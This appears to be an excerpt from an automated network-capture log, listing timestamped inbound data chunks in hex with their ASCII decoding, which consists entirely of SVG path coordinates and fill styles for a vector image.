2e 32 2c 30 2e 30 31 37 2d 30 2e 33 37 39 2d 30 2e 30 37 38 2d 30 2e 35 35 63 2d 30 2e 33 38 2d 30 2e 36 38 38 2d 31 
2e 32 33 36 2d 30 2e 39 32 39 2d 31 2e 39 37 35 2d 30 2e 37 38 39 63 2d 30 2e 31 38 2c 30 2e 30 33 34 2d 30 2e 32 38 
37 2c 30 2e 31 32 36 2d 30 2e 34 34 32 2c 30 2e 32 30 37 20 20 20 20 20 20 63 2d 30 2e 31 37 2c 30 2e 30 38 38 2d 30 
2e 31 33 39 2c 30 2e 31 36 36 2d 30 2e 33 31 38 2c 30 2e 32 32 34 63 2d 
Data Ascii: 039-0.103,0.111-0.16,0.09-0.293c-0.01-0.062-0.052-0.12-0.064-0.187c-0.022-0.114,0.002-0.224,0-0.337      c-
0.003-0.2,0.017-0.379-0.078-0.55c-0.38-0.688-1.236-0.929-1.975-0.789c-0.18,0.034-0.287,0.126-0.442,0.207      c-
0.17,0.088-0.139,0.166-0.318,0.224c-

2022-01-13 21:05:20 UTC 74 IN Data Raw: 4d 32 33 2e 34 37 37 2d 34 31 2e 30 34 32 63 30 2e 30 31 38 2c 30 2e 30 37 32 2c 30 2e 30 30 37 2c 30 2e 31 
32 37 2d 30 2e 30 32 36 2c 30 2e 31 39 63 2d 30 2e 30 35 33 2c 30 2e 31 30 31 2d 30 2e 31 31 32 2c 30 2e 30 36 32 2d 
30 2e 31 36 35 2c 30 2e 31 32 38 20 20 20 20 20 20 63 2d 30 2e 30 35 2c 30 2e 30 36 32 2d 30 2e 30 39 39 2c 30 2e 32 
37 36 2d 30 2e 30 37 39 2c 30 2e 33 36 32 63 2d 30 2e 31 36 39 2c 30 2e 30 35 38 2d 30 2e 30 30 39 2c 30 2e 32 32 37 2
d 30 2e 30 31 35 2c 30 2e 33 35 63 2d 30 2e 30 30 32 2c 30 2e 30 35 2d 30 2e 30 34 31 2c 30 2e 31 30 35 2d 30 2e 30 34 
35 2c 30 2e 31 36 31 20 20 20 20 20 20 63 2d 30 2e 30 31 2c 30 2e 31 31 39 2c 30 2e 30 31 37 2c 30 2e 32 36 36 2c 30 
2e 30 36 38 2c 30 2e 33 37 63 30 2e 30 39 37 2c 30 2e 31 39 38 2c 30 
Data Ascii: M23.477-41.042c0.018,0.072,0.007,0.127-0.026,0.19c-0.053,0.101-0.112,0.062-0.165,0.128      c-0.05,0.062-
0.099,0.276-0.079,0.362c-0.169,0.058-0.009,0.227-0.015,0.35c-0.002,0.05-0.041,0.105-0.045,0.161      c-0.01,0.119
,0.017,0.266,0.068,0.37c0.097,0.198,0

2022-01-13 21:05:20 UTC 76 IN Data Raw: 2e 32 38 38 2d 30 2e 34 35 20 20 20 20 20 20 63 30 2e 31 30 34 2d 30 2e 30 37 34 2c 30 2e 32 38 37 2d 30 2e 
30 31 2c 30 2e 34 30 36 2d 30 2e 30 35 31 63 30 2e 32 2d 30 2e 30 36 39 2c 30 2e 33 33 39 2d 30 2e 32 36 33 2c 30 2e 
33 37 36 2d 30 2e 34 36 63 30 2e 30 31 36 2d 30 2e 30 38 32 2c 30 2e 30 31 2d 30 2e 31 34 35 2c 30 2e 30 33 39 2d 30 
2e 32 32 31 20 20 20 20 20 20 63 30 2e 30 33 39 2d 30 2e 31 30 33 2c 30 2e 31 31 31 2d 30 2e 31 36 2c 30 2e 30 39 2d 3
0 2e 32 39 33 63 2d 30 2e 30 31 2d 30 2e 30 36 32 2d 30 2e 30 35 32 2d 30 2e 31 32 2d 30 2e 30 36 34 2d 30 2e 31 38 
37 63 2d 30 2e 30 32 32 2d 30 2e 31 31 34 2c 30 2e 30 30 32 2d 30 2e 32 32 34 2c 30 2d 30 2e 33 33 37 20 20 20 20 20 
20 63 2d 30 2e 30 30 33 2d 30 2e 32 2c 30 2e 30 31 37 2d 30 2e 33 37 39 
Data Ascii: .288-0.45      c0.104-0.074,0.287-0.01,0.406-0.051c0.2-0.069,0.339-0.263,0.376-0.46c0.016-0.082,0.01-
0.145,0.039-0.221      c0.039-0.103,0.111-0.16,0.09-0.293c-0.01-0.062-0.052-0.12-0.064-0.187c-0.022-0.114,0.002-0.224
,0-0.337      c-0.003-0.2,0.017-0.379

2022-01-13 21:05:20 UTC 77 IN Data Raw: 32 34 63 30 2e 30 30 31 2c 30 2e 31 31 35 2c 30 2e 30 30 35 2c 30 2e 30 35 31 2c 30 2e 30 31 32 2c 30 2e 31 
36 39 20 20 20 20 20 20 43 38 2e 31 35 2d 34 31 2e 30 30 34 2c 38 2e 31 34 39 2d 34 31 2e 30 32 2c 38 2e 31 34 2d 34 
31 2e 30 34 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 23 46 46 46 46 46 46 3b 22 20 69 64 3d 22 73 76 67 5f 36 30 22 2f 
3e 3c 70 61 74 68 20 64 3d 22 4d 30 2e 34 39 35 2d 34 31 2e 30 34 32 63 30 2e 30 31 38 2c 30 2e 30 37 32 2c 30 2e 30 
30 37 2c 30 2e 31 32 37 2d 30 2e 30 32 36 2c 30 2e 31 39 63 2d 30 2e 30 35 33 2c 30 2e 31 30 31 2d 30 2e 31 31 32 2c 3
0 2e 30 36 32 2d 30 2e 31 36 35 2c 30 2e 31 32 38 20 20 20 20 20 20 63 2d 30 2e 30 35 2c 30 2e 30 36 32 2d 30 2e 30 39 
39 2c 30 2e 32 37 36 2d 30 2e 30 37 39 2c 30 2e 33 36 32 63 2d 30 
Data Ascii: 24c0.001,0.115,0.005,0.051,0.012,0.169      C8.15-41.004,8.149-41.02,8.14-41.04" style="fill:#FFFFFF;" id="s
vg_60"/><path d="M0.495-41.042c0.018,0.072,0.007,0.127-0.026,0.19c-0.053,0.101-0.112,0.062-0.165,0.128      c-
0.05,0.062-0.099,0.276-0.079,0.362c-0

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:20 UTC 78 IN Data Raw: 35 34 34 63 30 2e 31 39 2c 30 2e 31 34 38 2c 30 2e 33 36 35 2c 30 2e 35 37 32 2c 30 2e 36 30 38 2c 30 2e 36 
33 31 20 20 20 20 20 20 63 30 2e 31 37 37 2c 30 2e 30 34 32 2c 30 2e 33 38 34 2d 30 2e 31 30 34 2c 30 2e 35 34 33 2d 
30 2e 31 34 33 63 30 2e 31 38 2d 30 2e 30 34 33 2c 30 2e 33 39 37 2c 30 2e 30 31 2c 30 2e 35 37 31 2d 30 2e 30 35 33 
63 30 2e 32 32 32 2d 30 2e 30 37 39 2c 30 2e 31 32 37 2d 30 2e 33 33 37 2c 30 2e 32 38 38 2d 30 2e 34 35 20 20 20 20 2
0 20 63 30 2e 31 30 34 2d 30 2e 30 37 34 2c 30 2e 32 38 37 2d 30 2e 30 31 2c 30 2e 34 30 36 2d 30 2e 30 35 31 63 30 2e 
32 2d 30 2e 30 36 39 2c 30 2e 33 33 39 2d 30 2e 32 36 33 2c 30 2e 33 37 36 2d 30 2e 34 36 63 30 2e 30 31 36 2d 30 2e 
30 38 32 2c 30 2e 30 31 2d 30 2e 31 34 35 2c 30 2e 30 33 39 2d 30 2e 
Data Ascii: 544c0.19,0.148,0.365,0.572,0.608,0.631      c0.177,0.042,0.384-0.104,0.543-0.143c0.18-0.043,0.397,
0.01,0.571-0.053c0.222-0.079,0.127-0.337,0.288-0.45      c0.104-0.074,0.287-0.01,0.406-0.051c0.2-0.069,0.339-0
.263,0.376-0.46c0.016-0.082,0.01-0.145,0.039-0.

2022-01-13 21:05:20 UTC 80 IN Data Raw: 36 38 38 2d 31 2e 32 33 36 2d 30 2e 39 32 39 2d 31 2e 39 37 35 2d 30 2e 37 38 39 63 2d 30 2e 31 38 2c 30 
2e 30 33 34 2d 30 2e 32 38 37 2c 30 2e 31 32 36 2d 30 2e 34 34 32 2c 30 2e 32 30 37 20 20 20 20 20 20 63 2d 30 2e 31 
37 2c 30 2e 30 38 38 2d 30 2e 31 33 39 2c 30 2e 31 36 36 2d 30 2e 33 31 38 2c 30 2e 32 32 34 63 2d 30 2e 30 38 31 2c 3
0 2e 30 32 36 2d 30 2e 32 31 36 2c 30 2e 31 32 34 2d 30 2e 32 31 35 2c 30 2e 32 32 34 63 30 2e 30 30 31 2c 30 2e 31 31 
35 2c 30 2e 30 30 35 2c 30 2e 30 35 31 2c 30 2e 30 31 32 2c 30 2e 31 36 39 20 20 20 20 20 20 63 2d 30 2e 30 32 31 2c 
30 2e 30 31 31 2d 30 2e 30 32 31 2d 30 2e 30 30 35 2d 30 2e 30 33 2d 30 2e 30 32 35 22 20 73 74 79 6c 65 3d 22 66 69 
6c 6c 3a 23 46 46 46 46 46 46 3b 22 20 69 64 3d 22 73 76 67 5f 36 34 22 
Data Ascii: 688-1.236-0.929-1.975-0.789c-0.18,0.034-0.287,0.126-0.442,0.207      c-0.17,0.088-0.139,0.166-0.318,0.224c-
0.081,0.026-0.216,0.124-0.215,0.224c0.001,0.115,0.005,0.051,0.012,0.169      c-0.021,0.011-0.021-0.005-0.03-0.025" 
style="fill:#FFFFFF;" id="svg_64"

2022-01-13 21:05:20 UTC 81 IN Data Raw: 32 32 37 2d 30 2e 30 31 35 2c 30 2e 33 35 63 2d 30 2e 30 30 32 2c 30 2e 30 35 2d 30 2e 30 34 31 2c 30 2e 31 
30 35 2d 30 2e 30 34 35 2c 30 2e 31 36 31 20 20 20 20 20 20 63 2d 30 2e 30 31 2c 30 2e 31 31 39 2c 30 2e 30 31 37 2c 
30 2e 32 36 36 2c 30 2e 30 36 38 2c 30 2e 33 37 63 30 2e 30 39 37 2c 30 2e 31 39 38 2c 30 2e 32 36 38 2c 30 2e 34 31 
33 2c 30 2e 34 33 35 2c 30 2e 35 34 34 63 30 2e 31 39 2c 30 2e 31 34 38 2c 30 2e 33 36 35 2c 30 2e 35 37 32 2c 30 2e 3
6 30 38 2c 30 2e 36 33 31 20 20 20 20 20 20 63 30 2e 31 37 37 2c 30 2e 30 34 32 2c 30 2e 33 38 34 2d 30 2e 31 30 34 2c 
30 2e 35 34 33 2d 30 2e 31 34 33 63 30 2e 31 38 2d 30 2e 30 34 33 2c 30 2e 33 39 37 2c 30 2e 30 31 2c 30 2e 35 37 31 
2d 30 2e 30 35 33 63 30 2e 32 32 32 2d 30 2e 30 37 39 2c 30 2e 31 32 
Data Ascii: 227-0.015,0.35c-0.002,0.05-0.041,0.105-0.045,0.161      c-0.01,0.119,0.017,0.266,0.068,0.37c0.097,0.198,0.26
8,0.413,0.435,0.544c0.19,0.148,0.365,0.572,0.608,0.631      c0.177,0.042,0.384-0.104,0.543-0.143c0.18-0.043,0.
397,0.01,0.571-0.053c0.222-0.079,0.12

2022-01-13 21:05:20 UTC 82 IN Data Raw: 39 2d 30 2e 32 39 33 63 2d 30 2e 30 31 2d 30 2e 30 36 32 2d 30 2e 30 35 32 2d 30 2e 31 32 2d 30 2e 30 36 
34 2d 30 2e 31 38 37 63 2d 30 2e 30 32 32 2d 30 2e 31 31 34 2c 30 2e 30 30 32 2d 30 2e 32 32 34 2c 30 2d 30 2e 33 33 
37 20 20 20 20 20 20 63 2d 30 2e 30 30 33 2d 30 2e 32 2c 30 2e 30 31 37 2d 30 2e 33 37 39 2d 30 2e 30 37 38 2d 30 2e 
35 35 63 2d 30 2e 33 38 2d 30 2e 36 38 38 2d 31 2e 32 33 36 2d 30 2e 39 32 39 2d 31 2e 39 37 35 2d 30 2e 37 38 39 63 
2d 30 2e 31 38 2c 30 2e 30 33 34 2d 30 2e 32 38 37 2c 30 2e 31 32 36 2d 30 2e 34 34 32 2c 30 2e 32 30 37 20 20 20 20 
20 20 63 2d 30 2e 31 37 2c 30 2e 30 38 38 2d 30 2e 31 33 39 2c 30 2e 31 36 36 2d 30 2e 33 31 38 2c 30 2e 32 32 34 63 
2d 30 2e 30 38 31 2c 30 2e 30 32 36 2d 30 2e 32 31 36 2c 30 2e 31 32 34 2d 
Data Ascii: 9-0.293c-0.01-0.062-0.052-0.12-0.064-0.187c-0.022-0.114,0.002-0.224,0-0.337      c-0.003-0.2,0.017-0.379-0.0
78-0.55c-0.38-0.688-1.236-0.929-1.975-0.789c-0.18,0.034-0.287,0.126-0.442,0.207      c-0.17,0.088-0.139,0.166-
0.318,0.224c-0.081,0.026-0.216,0.124-

2022-01-13 21:05:20 UTC 84 IN Data Raw: 2c 30 2e 30 30 37 2c 30 2e 31 32 37 2d 30 2e 30 32 36 2c 30 2e 31 39 63 2d 30 2e 30 35 33 2c 30 2e 31 30 31 
2d 30 2e 31 31 32 2c 30 2e 30 36 32 2d 30 2e 31 36 35 2c 30 2e 31 32 38 20 20 20 20 20 20 63 2d 30 2e 30 35 2c 30 2e 
30 36 32 2d 30 2e 30 39 39 2c 30 2e 32 37 36 2d 30 2e 30 37 39 2c 30 2e 33 36 32 63 2d 30 2e 31 36 39 2c 30 2e 30 35 
38 2d 30 2e 30 30 39 2c 30 2e 32 32 37 2d 30 2e 30 31 35 2c 30 2e 33 35 63 2d 30 2e 30 30 32 2c 30 2e 30 35 2d 30 2e 3
0 34 31 2c 30 2e 31 30 35 2d 30 2e 30 34 35 2c 30 2e 31 36 31 20 20 20 20 20 20 63 2d 30 2e 30 31 2c 30 2e 31 31 39 2c 
30 2e 30 31 37 2c 30 2e 32 36 36 2c 30 2e 30 36 38 2c 30 2e 33 37 63 30 2e 30 39 37 2c 30 2e 31 39 38 2c 30 2e 32 36 
38 2c 30 2e 34 31 33 2c 30 2e 34 33 35 2c 30 2e 35 34 34 63 30 2e 31 
Data Ascii: ,0.007,0.127-0.026,0.19c-0.053,0.101-0.112,0.062-0.165,0.128      c-0.05,0.062-0.099,0.276-0.079,0.362c-0.16
9,0.058-0.009,0.227-0.015,0.35c-0.002,0.05-0.041,0.105-0.045,0.161      c-0.01,0.119,0.017,0.266,0.068,0.37c0.
097,0.198,0.268,0.413,0.435,0.544c0.1

2022-01-13 21:05:20 UTC 88 IN Data Raw: 20 20 20 20 20 63 30 2e 31 30 34 2d 30 2e 30 37 34 2c 30 2e 32 38 37 2d 30 2e 30 31 2c 30 2e 34 30 36 2d 30 
2e 30 35 31 63 30 2e 32 2d 30 2e 30 36 39 2c 30 2e 33 33 39 2d 30 2e 32 36 33 2c 30 2e 33 37 36 2d 30 2e 34 36 63 30 
2e 30 31 36 2d 30 2e 30 38 32 2c 30 2e 30 31 2d 30 2e 31 34 35 2c 30 2e 30 33 39 2d 30 2e 32 32 31 20 20 20 20 20 20 
63 30 2e 30 33 39 2d 30 2e 31 30 33 2c 30 2e 31 31 31 2d 30 2e 31 36 2c 30 2e 30 39 2d 30 2e 32 39 33 63 2d 30 2e 30 3
1 2d 30 2e 30 36 32 2d 30 2e 30 35 32 2d 30 2e 31 32 2d 30 2e 30 36 34 2d 30 2e 31 38 37 63 2d 30 2e 30 32 32 2d 30 
2e 31 31 34 2c 30 2e 30 30 32 2d 30 2e 32 32 34 2c 30 2d 30 2e 33 33 37 20 20 20 20 20 20 63 2d 30 2e 30 30 33 2d 30 
2e 32 2c 30 2e 30 31 37 2d 30 2e 33 37 39 2d 30 2e 30 37 38 2d 30 2e 35 
Data Ascii:      c0.104-0.074,0.287-0.01,0.406-0.051c0.2-0.069,0.339-0.263,0.376-0.46c0.016-0.082,0.01-0.145,0.039-
0.221      c0.039-0.103,0.111-0.16,0.09-0.293c-0.01-0.062-0.052-0.12-0.064-0.187c-0.022-0.114,0.002-0.224,0-0.337      
c-0.003-0.2,0.017-0.379-0.078-0.5

2022-01-13 21:05:20 UTC 92 IN Data Raw: 2e 30 30 31 2c 30 2e 31 31 35 2c 30 2e 30 30 35 2c 30 2e 30 35 31 2c 30 2e 30 31 32 2c 30 2e 31 36 39 20 20 
20 20 20 20 63 2d 30 2e 30 32 31 2c 30 2e 30 31 31 2d 30 2e 30 32 31 2d 30 2e 30 30 35 2d 30 2e 30 33 2d 30 2e 30 32 
35 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 23 46 46 46 46 46 46 3b 22 20 69 64 3d 22 73 76 67 5f 37 38 22 2f 3e 3c 70 
61 74 68 20 64 3d 22 4d 33 31 2e 31 33 37 2d 32 35 2e 37 33 36 63 30 2e 30 31 38 2c 30 2e 30 37 32 2c 30 2e 30 30 37 
2c 30 2e 31 32 37 2d 30 2e 30 32 36 2c 30 2e 31 39 63 2d 30 2e 30 35 33 2c 30 2e 31 30 31 2d 30 2e 31 31 32 2c 30 2e 3
0 36 32 2d 30 2e 31 36 35 2c 30 2e 31 32 38 20 20 20 20 20 20 63 2d 30 2e 30 35 2c 30 2e 30 36 32 2d 30 2e 30 39 39 2c 
30 2e 32 37 36 2d 30 2e 30 37 39 2c 30 2e 33 36 32 63 2d 30 2e 31 
Data Ascii: .001,0.115,0.005,0.051,0.012,0.169      c-0.021,0.011-0.021-0.005-0.03-0.025" style="fill:#FFFFFF;" id="svg_
78"/><path d="M31.137-25.736c0.018,0.072,0.007,0.127-0.026,0.19c-0.053,0.101-0.112,0.062-0.165,0.128      c-0.
05,0.062-0.099,0.276-0.079,0.362c-0.1

2022-01-13 21:05:20 UTC 93 IN Data Raw: 38 30 30 30 0d 0a 6c 3a 23 46 46 46 46 46 46 3b 22 20 69 64 3d 22 73 76 67 5f 37 39 22 2f 3e 3c 70 61 74 68 
20 64 3d 22 4d 32 33 2e 34 37 37 2d 32 35 2e 37 33 36 63 30 2e 30 31 38 2c 30 2e 30 37 32 2c 30 2e 30 30 37 2c 30 2e 
31 32 37 2d 30 2e 30 32 36 2c 30 2e 31 39 63 2d 30 2e 30 35 33 2c 30 2e 31 30 31 2d 30 2e 31 31 32 2c 30 2e 30 36 32 
2d 30 2e 31 36 35 2c 30 2e 31 32 38 20 20 20 20 20 20 63 2d 30 2e 30 35 2c 30 2e 30 36 32 2d 30 2e 30 39 39 2c 30 2e 
32 37 36 2d 30 2e 30 37 39 2c 30 2e 33 36 32 63 2d 30 2e 31 36 39 2c 30 2e 30 35 38 2d 30 2e 30 30 39 2c 30 2e 32 32 
37 2d 30 2e 30 31 35 2c 30 2e 33 35 63 2d 30 2e 30 30 32 2c 30 2e 30 35 2d 30 2e 30 34 31 2c 30 2e 31 30 35 2d 30 2e 
30 34 35 2c 30 2e 31 36 31 20 20 20 20 20 20 63 2d 30 2e 30 31 2c 30 2e 
Data Ascii: 8000l:#FFFFFF;" id="svg_79"/><path d="M23.477-25.736c0.018,0.072,0.007,0.127-0.026,0.19c-0.053,0.101-
0.112,0.062-0.165,0.128      c-0.05,0.062-0.099,0.276-0.079,0.362c-0.169,0.058-0.009,0.227-0.015,0.35c-0.002,0.05-0.0
41,0.105-0.045,0.161      c-0.01,0.

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:20 UTC 97 IN Data Raw: 63 30 2e 31 38 2d 30 2e 30 34 33 2c 30 2e 33 39 37 2c 30 2e 30 31 2c 30 2e 35 37 31 2d 30 2e 30 35 33 63 30 
2e 32 32 32 2d 30 2e 30 37 39 2c 30 2e 31 32 37 2d 30 2e 33 33 37 2c 30 2e 32 38 38 2d 30 2e 34 35 20 20 20 20 20 20 
63 30 2e 31 30 34 2d 30 2e 30 37 34 2c 30 2e 32 38 37 2d 30 2e 30 31 2c 30 2e 34 30 36 2d 30 2e 30 35 31 63 30 2e 32 
2d 30 2e 30 36 39 2c 30 2e 33 33 39 2d 30 2e 32 36 33 2c 30 2e 33 37 36 2d 30 2e 34 36 63 30 2e 30 31 36 2d 30 2e 30 
38 32 2c 30 2e 30 31 2d 30 2e 31 34 35 2c 30 2e 30 33 39 2d 30 2e 32 32 31 20 20 20 20 20 20 63 30 2e 30 33 39 2d 30 
2e 31 30 33 2c 30 2e 31 31 31 2d 30 2e 31 36 2c 30 2e 30 39 2d 30 2e 32 39 33 63 2d 30 2e 30 31 2d 30 2e 30 36 32 2d 
30 2e 30 35 32 2d 30 2e 31 32 2d 30 2e 30 36 34 2d 30 2e 31 38 37 63 2d 
Data Ascii: c0.18-0.043,0.397,0.01,0.571-0.053c0.222-0.079,0.127-0.337,0.288-0.45      c0.104-0.074,0.287-0.01,0.406-
0.051c0.2-0.069,0.339-0.263,0.376-0.46c0.016-0.082,0.01-0.145,0.039-0.221      c0.039-0.103,0.111-0.16,0.09-0.293c-
0.01-0.062-0.052-0.12-0.064-0.187c-

2022-01-13 21:05:20 UTC 101 IN Data Raw: 37 2c 30 2e 30 38 38 2d 30 2e 31 33 39 2c 30 2e 31 36 36 2d 30 2e 33 31 38 2c 30 2e 32 32 34 63 2d 30 2e 30 
38 31 2c 30 2e 30 32 36 2d 30 2e 32 31 36 2c 30 2e 31 32 34 2d 30 2e 32 31 35 2c 30 2e 32 32 34 63 30 2e 30 30 31 2c 
30 2e 31 31 35 2c 30 2e 30 30 35 2c 30 2e 30 35 31 2c 30 2e 30 31 32 2c 30 2e 31 36 39 20 20 20 20 20 20 63 2d 30 2e 
30 32 31 2c 30 2e 30 31 31 2d 30 2e 30 32 31 2d 30 2e 30 30 35 2d 30 2e 30 33 2d 30 2e 30 32 35 22 20 73 74 79 6c 65 3
d 22 66 69 6c 6c 3a 23 46 46 46 46 46 46 3b 22 20 69 64 3d 22 73 76 67 5f 38 39 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 
33 31 2e 31 33 37 2d 31 38 2e 30 38 34 63 30 2e 30 31 38 2c 30 2e 30 37 32 2c 30 2e 30 30 37 2c 30 2e 31 32 37 2d 30 
2e 30 32 36 2c 30 2e 31 39 63 2d 30 2e 30 35 33 2c 30 2e 31 30 31 2d 
Data Ascii: 7,0.088-0.139,0.166-0.318,0.224c-0.081,0.026-0.216,0.124-0.215,0.224c0.001,0.115,0.005,0.051,0.012,0.169    
  c-0.021,0.011-0.021-0.005-0.03-0.025" style="fill:#FFFFFF;" id="svg_89"/><path d="M31.137-18.084c0.018,0.072
,0.007,0.127-0.026,0.19c-0.053,0.101-

2022-01-13 21:05:20 UTC 105 IN Data Raw: 2e 30 31 37 2c 30 2e 32 36 36 2c 30 2e 30 36 38 2c 30 2e 33 37 63 30 2e 30 39 37 2c 30 2e 31 39 38 2c 30 2e 
32 36 38 2c 30 2e 34 31 33 2c 30 2e 34 33 35 2c 30 2e 35 34 34 63 30 2e 31 39 2c 30 2e 31 34 38 2c 30 2e 33 36 35 2c 
30 2e 35 37 32 2c 30 2e 36 30 38 2c 30 2e 36 33 31 20 20 20 20 20 20 63 30 2e 31 37 37 2c 30 2e 30 34 32 2c 30 2e 33 
38 34 2d 30 2e 31 30 34 2c 30 2e 35 34 33 2d 30 2e 31 34 33 63 30 2e 31 38 2d 30 2e 30 34 33 2c 30 2e 33 39 37 2c 30 2
e 30 31 2c 30 2e 35 37 31 2d 30 2e 30 35 33 63 30 2e 32 32 32 2d 30 2e 30 37 39 2c 30 2e 31 32 37 2d 30 2e 33 33 37 2c 
30 2e 32 38 38 2d 30 2e 34 35 20 20 20 20 20 20 63 30 2e 31 30 34 2d 30 2e 30 37 34 2c 30 2e 32 38 37 2d 30 2e 30 31 
2c 30 2e 34 30 36 2d 30 2e 30 35 31 63 30 2e 32 2d 30 2e 30 36 39 2c 
Data Ascii: .017,0.266,0.068,0.37c0.097,0.198,0.268,0.413,0.435,0.544c0.19,0.148,0.365,0.572,0.608,0.631      
c0.177,0.042,0.384-0.104,0.543-0.143c0.18-0.043,0.397,0.01,0.571-0.053c0.222-0.079,0.127-0.337,0.288-0.45      c0.104-
0.074,0.287-0.01,0.406-0.051c0.2-0.069,

2022-01-13 21:05:20 UTC 109 IN Data Raw: 2d 30 2e 31 31 34 2c 30 2e 30 30 32 2d 30 2e 32 32 34 2c 30 2d 30 2e 33 33 37 20 20 20 20 20 20 63 2d 30 2e 
30 30 33 2d 30 2e 32 2c 30 2e 30 31 37 2d 30 2e 33 37 39 2d 30 2e 30 37 38 2d 30 2e 35 35 63 2d 30 2e 33 38 2d 30 2e 
36 38 38 2d 31 2e 32 33 36 2d 30 2e 39 32 39 2d 31 2e 39 37 35 2d 30 2e 37 38 39 63 2d 30 2e 31 38 2c 30 2e 30 33 34 
2d 30 2e 32 38 37 2c 30 2e 31 32 36 2d 30 2e 34 34 32 2c 30 2e 32 30 37 20 20 20 20 20 20 63 2d 30 2e 31 37 2c 30 2e 
30 38 38 2d 30 2e 31 33 39 2c 30 2e 31 36 36 2d 30 2e 33 31 38 2c 30 2e 32 32 34 63 2d 30 2e 30 38 31 2c 30 2e 30 32 
36 2d 30 2e 32 31 36 2c 30 2e 31 32 34 2d 30 2e 32 31 35 2c 30 2e 32 32 34 63 30 2e 30 30 31 2c 30 2e 31 31 35 2c 30 
2e 30 30 35 2c 30 2e 30 35 31 2c 30 2e 30 31 32 2c 30 2e 31 36 39 20 20 
Data Ascii: -0.114,0.002-0.224,0-0.337      c-0.003-0.2,0.017-0.379-0.078-0.55c-0.38-0.688-1.236-0.929-1.975-0.789c-0.18
,0.034-0.287,0.126-0.442,0.207      c-0.17,0.088-0.139,0.166-0.318,0.224c-0.081,0.026-0.216,0.124-0.215,0.224c
0.001,0.115,0.005,0.051,0.012,0.169  

2022-01-13 21:05:20 UTC 113 IN Data Raw: 31 32 2c 30 2e 30 36 32 2d 30 2e 31 36 35 2c 30 2e 31 32 38 20 20 20 20 20 20 43 37 2e 39 31 35 2d 31 30 2e 
30 35 2c 37 2e 38 36 36 2d 39 2e 38 33 36 2c 37 2e 38 38 36 2d 39 2e 37 35 43 37 2e 37 31 37 2d 39 2e 36 39 32 2c 37 
2e 38 37 36 2d 39 2e 35 32 33 2c 37 2e 38 37 31 2d 39 2e 34 43 37 2e 38 36 38 2d 39 2e 33 35 31 2c 37 2e 38 33 2d 39 
2e 32 39 35 2c 37 2e 38 32 36 2d 39 2e 32 33 39 20 20 20 20 20 20 63 2d 30 2e 30 31 2c 30 2e 31 31 39 2c 30 2e 30 31 3
7 2c 30 2e 32 36 36 2c 30 2e 30 36 38 2c 30 2e 33 37 63 30 2e 30 39 37 2c 30 2e 31 39 38 2c 30 2e 32 36 38 2c 30 2e 34 
31 33 2c 30 2e 34 33 35 2c 30 2e 35 34 34 63 30 2e 31 39 2c 30 2e 31 34 38 2c 30 2e 33 36 35 2c 30 2e 35 37 32 2c 30 
2e 36 30 38 2c 30 2e 36 33 31 20 20 20 20 20 20 43 39 2e 31 31 34 2d 
Data Ascii: 12,0.062-0.165,0.128      C7.915-10.05,7.866-9.836,7.886-9.75C7.717-9.692,7.876-9.523,7.871-9.4C7.868-
9.351,7.83-9.295,7.826-9.239      c-0.01,0.119,0.017,0.266,0.068,0.37c0.097,0.198,0.268,0.413,0.435,0.544c0.19,0.148
,0.365,0.572,0.608,0.631      C9.114-

2022-01-13 21:05:20 UTC 118 IN Data Raw: 2e 30 31 36 2d 30 2e 30 38 32 2c 30 2e 30 31 2d 30 2e 31 34 35 2c 30 2e 30 33 39 2d 30 2e 32 32 31 20 20 20 
20 20 63 30 2e 30 33 39 2d 30 2e 31 30 33 2c 30 2e 31 31 31 2d 30 2e 31 36 2c 30 2e 30 39 2d 30 2e 32 39 33 63 2d 30 
2e 30 31 2d 30 2e 30 36 32 2d 30 2e 30 35 32 2d 30 2e 31 32 2d 30 2e 30 36 34 2d 30 2e 31 38 37 63 2d 30 2e 30 32 32 
2d 30 2e 31 31 34 2c 30 2e 30 30 32 2d 30 2e 32 32 34 2c 30 2d 30 2e 33 33 37 20 20 20 20 20 63 2d 30 2e 30 30 33 2d 
30 2e 32 2c 30 2e 30 31 37 2d 30 2e 33 37 39 2d 30 2e 30 37 38 2d 30 2e 35 35 63 2d 30 2e 33 38 2d 30 2e 36 38 38 2d 
31 2e 32 33 36 2d 30 2e 39 32 39 2d 31 2e 39 37 35 2d 30 2e 37 38 39 63 2d 30 2e 31 38 2c 30 2e 30 33 34 2d 30 2e 32 
38 37 2c 30 2e 31 32 36 2d 30 2e 34 34 32 2c 30 2e 32 30 37 20 20 20 20 
Data Ascii: .016-0.082,0.01-0.145,0.039-0.221     c0.039-0.103,0.111-0.16,0.09-0.293c-0.01-0.062-0.052-0.12-0.064-
0.187c-0.022-0.114,0.002-0.224,0-0.337     c-0.003-0.2,0.017-0.379-0.078-0.55c-0.38-0.688-1.236-0.929-1.975-0.789c-0
.18,0.034-0.287,0.126-0.442,0.207    

2022-01-13 21:05:20 UTC 122 IN Data Raw: 31 35 2e 38 31 36 2d 32 2e 37 37 38 63 30 2e 30 31 38 2c 30 2e 30 37 32 2c 30 2e 30 30 37 2c 30 2e 31 32 37 
2d 30 2e 30 32 36 2c 30 2e 31 39 63 2d 30 2e 30 35 33 2c 30 2e 31 30 31 2d 30 2e 31 31 32 2c 30 2e 30 36 32 2d 30 2e 
31 36 35 2c 30 2e 31 32 38 20 20 20 20 20 63 2d 30 2e 30 35 2c 30 2e 30 36 32 2d 30 2e 30 39 39 2c 30 2e 32 37 36 2d 
30 2e 30 37 39 2c 30 2e 33 36 32 63 2d 30 2e 31 36 39 2c 30 2e 30 35 38 2d 30 2e 30 31 2c 30 2e 32 32 37 2d 30 2e 30 3
1 35 2c 30 2e 33 35 63 2d 30 2e 30 30 32 2c 30 2e 30 35 2d 30 2e 30 34 31 2c 30 2e 31 30 35 2d 30 2e 30 34 35 2c 30 2e 
31 36 31 20 20 20 20 20 63 2d 30 2e 30 31 2c 30 2e 31 31 39 2c 30 2e 30 31 37 2c 30 2e 32 36 36 2c 30 2e 30 36 38 2c 
30 2e 33 37 63 30 2e 30 39 37 2c 30 2e 31 39 38 2c 30 2e 32 36 38 2c 
Data Ascii: 15.816-2.778c0.018,0.072,0.007,0.127-0.026,0.19c-0.053,0.101-0.112,0.062-0.165,0.128     c-0.05,0.062-
0.099,0.276-0.079,0.362c-0.169,0.058-0.01,0.227-0.015,0.35c-0.002,0.05-0.041,0.105-0.045,0.161     c-0.01,0.119,0.01
